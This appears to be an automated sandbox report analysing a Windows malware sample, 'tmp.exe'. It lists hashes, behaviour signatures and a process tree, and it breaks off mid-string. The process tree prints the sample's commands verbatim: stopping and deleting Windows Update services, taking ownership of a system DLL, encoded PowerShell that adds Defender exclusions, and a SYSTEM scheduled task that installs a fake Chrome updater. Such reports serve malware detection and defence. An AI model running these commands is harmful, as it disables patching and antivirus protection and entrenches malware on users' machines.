Analysis
-
max time kernel
149s -
max time network
107s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
01-11-2022 22:38
Static task
static1
Behavioral task
behavioral1
Sample
tmp.exe
Resource
win7-20220812-en
General
-
Target
tmp.exe
-
Size
1.8MB
-
MD5
6691c3106d5319f108114a48f5177396
-
SHA1
1ce92f03b5e7bd1c1d591141693f6e0261f3afee
-
SHA256
375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97
-
SHA512
19860f3c0479d5bbc5a7ccdaf609d68ec2007480cc8ea4becb5c0457ab4aeacdb6e0fa75e7d274436d5825342321bbb9d49468f3e990460b5b85a430c7ebdba7
-
SSDEEP
49152:+1rLSuOMv2pORqIwpn3AcRs3gzAiYSWTqP7:K3O02WyDQDDTqP
Malware Config
Signatures
-
Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 1972 updater.exe -
Possible privilege escalation attempt 4 IoCs
Processes:
takeown.exeicacls.exetakeown.exeicacls.exepid process 4804 takeown.exe 4884 icacls.exe 1540 takeown.exe 4652 icacls.exe -
Stops running service(s) 3 TTPs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
tmp.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation tmp.exe -
Modifies file permissions 1 TTPs 4 IoCs
Processes:
icacls.exetakeown.exeicacls.exetakeown.exepid process 4652 icacls.exe 4804 takeown.exe 4884 icacls.exe 1540 takeown.exe -
Drops file in System32 directory 4 IoCs
Processes:
updater.exepowershell.EXEpowershell.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\updater.exe.log updater.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Drops file in Program Files directory 2 IoCs
Processes:
powershell.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe powershell.exe File opened for modification C:\Program Files\Google\Chrome\updater.exe powershell.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 3100 sc.exe 624 sc.exe 4968 sc.exe 3912 sc.exe 4900 sc.exe 2168 sc.exe 900 sc.exe 4728 sc.exe 1668 sc.exe 1708 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies data under HKEY_USERS 64 IoCs
Processes:
updater.exepowershell.exepowershell.EXEdescription ioc process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" updater.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" updater.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" updater.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" updater.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ updater.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe -
Modifies registry key 1 TTPs 18 IoCs
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exepid process 4056 reg.exe 920 reg.exe 4660 reg.exe 2396 reg.exe 5064 reg.exe 2448 reg.exe 4672 reg.exe 3484 reg.exe 2412 reg.exe 1460 reg.exe 4460 reg.exe 4648 reg.exe 440 reg.exe 2180 reg.exe 3084 reg.exe 3756 reg.exe 3184 reg.exe 1152 reg.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
Processes:
powershell.exetmp.exepowershell.exepowershell.EXEpowershell.exeupdater.exepid process 680 powershell.exe 680 powershell.exe 4812 tmp.exe 4108 powershell.exe 4108 powershell.exe 2288 powershell.EXE 2288 powershell.EXE 3736 powershell.exe 3736 powershell.exe 1972 updater.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exetmp.exetakeown.exepowershell.exedescription pid process Token: SeDebugPrivilege 680 powershell.exe Token: SeDebugPrivilege 4812 tmp.exe Token: SeTakeOwnershipPrivilege 4804 takeown.exe Token: SeDebugPrivilege 4108 powershell.exe Token: SeIncreaseQuotaPrivilege 4108 powershell.exe Token: SeSecurityPrivilege 4108 powershell.exe Token: SeTakeOwnershipPrivilege 4108 powershell.exe Token: SeLoadDriverPrivilege 4108 powershell.exe Token: SeSystemProfilePrivilege 4108 powershell.exe Token: SeSystemtimePrivilege 4108 powershell.exe Token: SeProfSingleProcessPrivilege 4108 powershell.exe Token: SeIncBasePriorityPrivilege 4108 powershell.exe Token: SeCreatePagefilePrivilege 4108 powershell.exe Token: SeBackupPrivilege 4108 powershell.exe Token: SeRestorePrivilege 4108 powershell.exe Token: SeShutdownPrivilege 4108 powershell.exe Token: SeDebugPrivilege 4108 powershell.exe Token: SeSystemEnvironmentPrivilege 4108 powershell.exe Token: SeRemoteShutdownPrivilege 4108 powershell.exe Token: SeUndockPrivilege 4108 powershell.exe Token: SeManageVolumePrivilege 4108 powershell.exe Token: 33 4108 powershell.exe Token: 34 4108 powershell.exe Token: 35 4108 powershell.exe Token: 36 4108 powershell.exe Token: SeIncreaseQuotaPrivilege 4108 powershell.exe Token: SeSecurityPrivilege 4108 powershell.exe Token: SeTakeOwnershipPrivilege 4108 powershell.exe Token: SeLoadDriverPrivilege 4108 powershell.exe Token: SeSystemProfilePrivilege 4108 powershell.exe Token: SeSystemtimePrivilege 4108 powershell.exe Token: SeProfSingleProcessPrivilege 4108 powershell.exe Token: SeIncBasePriorityPrivilege 4108 powershell.exe Token: SeCreatePagefilePrivilege 4108 powershell.exe Token: SeBackupPrivilege 4108 powershell.exe Token: SeRestorePrivilege 4108 powershell.exe Token: SeShutdownPrivilege 4108 powershell.exe Token: SeDebugPrivilege 4108 powershell.exe Token: SeSystemEnvironmentPrivilege 4108 powershell.exe Token: SeRemoteShutdownPrivilege 4108 powershell.exe Token: SeUndockPrivilege 4108 powershell.exe Token: SeManageVolumePrivilege 4108 powershell.exe Token: 33 4108 powershell.exe Token: 34 4108 powershell.exe Token: 35 4108 powershell.exe Token: 36 4108 powershell.exe Token: SeIncreaseQuotaPrivilege 4108 powershell.exe Token: SeSecurityPrivilege 4108 powershell.exe Token: SeTakeOwnershipPrivilege 4108 powershell.exe Token: SeLoadDriverPrivilege 4108 powershell.exe Token: SeSystemProfilePrivilege 4108 powershell.exe Token: SeSystemtimePrivilege 4108 powershell.exe Token: SeProfSingleProcessPrivilege 4108 powershell.exe Token: SeIncBasePriorityPrivilege 4108 powershell.exe Token: SeCreatePagefilePrivilege 4108 powershell.exe Token: SeBackupPrivilege 4108 powershell.exe Token: SeRestorePrivilege 4108 powershell.exe Token: SeShutdownPrivilege 4108 powershell.exe Token: SeDebugPrivilege 4108 powershell.exe Token: SeSystemEnvironmentPrivilege 4108 powershell.exe Token: SeRemoteShutdownPrivilege 4108 powershell.exe Token: SeUndockPrivilege 4108 powershell.exe Token: SeManageVolumePrivilege 4108 powershell.exe Token: 33 4108 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
tmp.execmd.exepowershell.EXEupdater.execmd.exedescription pid process target process PID 4812 wrote to memory of 680 4812 tmp.exe powershell.exe PID 4812 wrote to memory of 680 4812 tmp.exe powershell.exe PID 4812 wrote to memory of 1368 4812 tmp.exe cmd.exe PID 4812 wrote to memory of 1368 4812 tmp.exe cmd.exe PID 1368 wrote to memory of 4728 1368 cmd.exe sc.exe PID 1368 wrote to memory of 4728 1368 cmd.exe sc.exe PID 1368 wrote to memory of 1668 1368 cmd.exe sc.exe PID 1368 wrote to memory of 1668 1368 cmd.exe sc.exe PID 1368 wrote to memory of 1708 1368 cmd.exe sc.exe PID 1368 wrote to memory of 1708 1368 cmd.exe sc.exe PID 1368 wrote to memory of 3100 1368 cmd.exe sc.exe PID 1368 wrote to memory of 3100 1368 cmd.exe sc.exe PID 1368 wrote to memory of 624 1368 cmd.exe sc.exe PID 1368 wrote to memory of 624 1368 cmd.exe sc.exe PID 1368 wrote to memory of 2448 1368 cmd.exe reg.exe PID 1368 wrote to memory of 2448 1368 cmd.exe reg.exe PID 1368 wrote to memory of 1460 1368 cmd.exe reg.exe PID 1368 wrote to memory of 1460 1368 cmd.exe reg.exe PID 1368 wrote to memory of 4672 1368 cmd.exe reg.exe PID 1368 wrote to memory of 4672 1368 cmd.exe reg.exe PID 1368 wrote to memory of 3484 1368 cmd.exe reg.exe PID 1368 wrote to memory of 3484 1368 cmd.exe reg.exe PID 4812 wrote to memory of 4108 4812 tmp.exe powershell.exe PID 4812 wrote to memory of 4108 4812 tmp.exe powershell.exe PID 1368 wrote to memory of 1152 1368 cmd.exe reg.exe PID 1368 wrote to memory of 1152 1368 cmd.exe reg.exe PID 1368 wrote to memory of 4804 1368 cmd.exe takeown.exe PID 1368 wrote to memory of 4804 1368 cmd.exe takeown.exe PID 1368 wrote to memory of 4884 1368 cmd.exe icacls.exe PID 1368 wrote to memory of 4884 1368 cmd.exe icacls.exe PID 1368 wrote to memory of 4056 1368 cmd.exe reg.exe PID 1368 wrote to memory of 4056 1368 cmd.exe reg.exe PID 1368 wrote to memory of 2180 1368 cmd.exe reg.exe PID 1368 wrote to memory of 2180 1368 cmd.exe reg.exe PID 1368 wrote to memory of 440 1368 cmd.exe reg.exe PID 1368 wrote to memory of 440 1368 cmd.exe reg.exe PID 1368 wrote to memory of 920 1368 cmd.exe reg.exe PID 1368 wrote to memory of 920 1368 cmd.exe reg.exe PID 1368 wrote to memory of 1432 1368 cmd.exe schtasks.exe PID 1368 wrote to memory of 1432 1368 cmd.exe schtasks.exe PID 1368 wrote to memory of 60 1368 cmd.exe schtasks.exe PID 1368 wrote to memory of 60 1368 cmd.exe schtasks.exe PID 1368 wrote to memory of 4164 1368 cmd.exe schtasks.exe PID 1368 wrote to memory of 4164 1368 cmd.exe schtasks.exe PID 1368 wrote to memory of 1340 1368 cmd.exe schtasks.exe PID 1368 wrote to memory of 1340 1368 cmd.exe schtasks.exe PID 1368 wrote to memory of 1196 1368 cmd.exe schtasks.exe PID 1368 wrote to memory of 1196 1368 cmd.exe schtasks.exe PID 1368 wrote to memory of 2788 1368 cmd.exe schtasks.exe PID 1368 wrote to memory of 2788 1368 cmd.exe schtasks.exe PID 1368 wrote to memory of 2296 1368 cmd.exe schtasks.exe PID 1368 wrote to memory of 2296 1368 cmd.exe schtasks.exe PID 2288 wrote to memory of 1972 2288 powershell.EXE updater.exe PID 2288 wrote to memory of 1972 2288 powershell.EXE updater.exe PID 1972 wrote to memory of 3736 1972 updater.exe powershell.exe PID 1972 wrote to memory of 3736 1972 updater.exe powershell.exe PID 1972 wrote to memory of 4000 1972 updater.exe cmd.exe PID 1972 wrote to memory of 4000 1972 updater.exe cmd.exe PID 4000 wrote to memory of 4968 4000 cmd.exe sc.exe PID 4000 wrote to memory of 4968 4000 cmd.exe sc.exe PID 4000 wrote to memory of 3912 4000 cmd.exe sc.exe PID 4000 wrote to memory of 3912 4000 cmd.exe sc.exe PID 4000 wrote to memory of 4900 4000 cmd.exe sc.exe PID 4000 wrote to memory of 4900 4000 cmd.exe sc.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp.exe"1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAcAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAbwAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBwAHcAawBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcgBkACMAPgA="2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f3⤵
- Modifies security service
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f3⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAYgAjAD4AIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBBAGMAdABpAG8AbgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBwAG8AdwBlAHIAcwBoAGUAbABsACcAIAAtAEEAcgBnAHUAbQBlAG4AdAAgACcALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIAAiAFAAQQBBAGoAQQBIAGsAQQBaAHcAQQBqAEEARAA0AEEASQBBAEIAVABBAEgAUQBBAFkAUQBCAHkAQQBIAFEAQQBMAFEAQgBRAEEASABJAEEAYgB3AEIAagBBAEcAVQBBAGMAdwBCAHoAQQBDAEEAQQBMAFEAQgBHAEEARwBrAEEAYgBBAEIAbABBAEYAQQBBAFkAUQBCADAAQQBHAGcAQQBJAEEAQQBuAEEARQBNAEEATwBnAEIAYwBBAEYAQQBBAGMAZwBCAHYAQQBHAGMAQQBjAGcAQgBoAEEARwAwAEEASQBBAEIARwBBAEcAawBBAGIAQQBCAGwAQQBIAE0AQQBYAEEAQgBIAEEARwA4AEEAYgB3AEIAbgBBAEcAdwBBAFoAUQBCAGMAQQBFAE0AQQBhAEEAQgB5AEEARwA4AEEAYgBRAEIAbABBAEYAdwBBAGQAUQBCAHcAQQBHAFEAQQBZAFEAQgAwAEEARwBVAEEAYwBnAEEAdQBBAEcAVQBBAGUAQQBCAGwAQQBDAGMAQQBJAEEAQQB0AEEARgBZAEEAWgBRAEIAeQBBAEcASQBBAEkAQQBCAFMAQQBIAFUAQQBiAGcAQgBCAEEASABNAEEASQBBAEEAOABBAEMATQBBAGIAQQBCAGsAQQBDAE0AQQBQAGcAQQA9ACIAJwApACAAPAAjAG8AZwBrAHYAIwA+ACAALQBUAHIAaQBnAGcAZQByACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0AQQB0AFMAdABhAHIAdAB1AHAAKQAgADwAIwBpAGoAcAB5ACMAPgAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAaQBzAGEAbABsAG8AdwBIAGEAcgBkAFQAZQByAG0AaQBuAGEAdABlACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABPAG4ASQBkAGwAZQBFAG4AZAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBEAGEAeQBzACAAMQAwADAAMAApACkAIAA8ACMAeABsAHMAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwAgAC0AVQBzAGUAcgAgACcAUwB5AHMAdABlAG0AJwAgAC0AUgB1AG4ATABlAHYAZQBsACAAJwBIAGkAZwBoAGUAcwB0ACcAIAAtAEYAbwByAGMAZQAgADwAIwBpAGYAegAjAD4AOwAgAEMAbwBwAHkALQBJAHQAZQBtACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwAC4AZQB4AGUAJwAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAX